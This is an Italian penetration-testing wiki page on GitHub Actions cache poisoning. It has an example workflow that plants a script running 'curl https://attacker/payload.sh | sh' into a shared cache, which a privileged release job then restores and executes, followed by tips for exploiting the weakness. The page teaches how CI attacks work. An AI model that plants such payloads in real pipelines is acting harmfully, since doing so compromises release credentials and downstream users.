# GH Actions - Cache Poisoning

{{#include ../../../banners/hacktricks-training.md}}

## Panoramica

Il cache di GitHub Actions è globale per un repository. Qualsiasi workflow che conosca una cache `key` (o `restore-keys`) può popolare quell'entry, anche se il job ha soltanto `permissions: contents: read`. GitHub non separa le cache per workflow, tipo di evento o livello di fiducia, quindi un attaccante che comprometta un job a basso privilegio può avvelenare una cache che un job di rilascio privilegiato andrà poi a ripristinare. Questo è come la compromissione di Ultralytics è pivotata da un workflow `pull_request_target` alla pipeline di pubblicazione su PyPI.

## Primitive d'attacco

- `actions/cache` espone sia le operazioni di restore che di save (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). La chiamata di save è consentita per qualsiasi job eccetto i workflow `pull_request` veramente non attendibili (triggerati da fork).
- Le voci della cache sono identificate unicamente dalla `key`. Ampie `restore-keys` facilitano l'iniezione di payload perché l'attaccante deve solo corrispondere a un prefisso.
- Il filesystem messo in cache viene ripristinato verbatim. Se la cache contiene script o binari che vengono eseguiti successivamente, l'attaccante controlla quel percorso di esecuzione.

## Esempio di catena di sfruttamento

_Il workflow Author (`pull_request_target`) ha avvelenato la cache:_
```yaml
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
```
_Il workflow privilegiato ha ripristinato ed eseguito la cache avvelenata:_
```yaml
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
```
Il secondo job ora esegue codice controllato dall'attaccante mentre possiede credenziali di rilascio (PyPI tokens, PATs, cloud deploy keys, ecc.).

## Suggerimenti pratici per lo sfruttamento

- Prendi di mira i workflow attivati da `pull_request_target`, `issue_comment` o comandi di bot che continuano a salvare le cache; GitHub permette loro di sovrascrivere le chiavi a livello di repository anche quando il runner ha solo accesso in sola lettura al repo.
- Cerca chiavi di cache deterministiche riutilizzate oltre i confini di fiducia (per esempio, `pip-${{ hashFiles('poetry.lock') }}`) o `restore-keys` permissivi, quindi salva il tuo tarball maligno prima che il workflow privilegiato venga eseguito.
- Monitora i log per voci `Cache saved` oppure aggiungi il tuo step di salvataggio cache in modo che il successivo job di release ripristini il payload ed esegua gli script o i binari trojanized.

## Riferimenti

- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)

{{#include ../../../banners/hacktricks-training.md}}
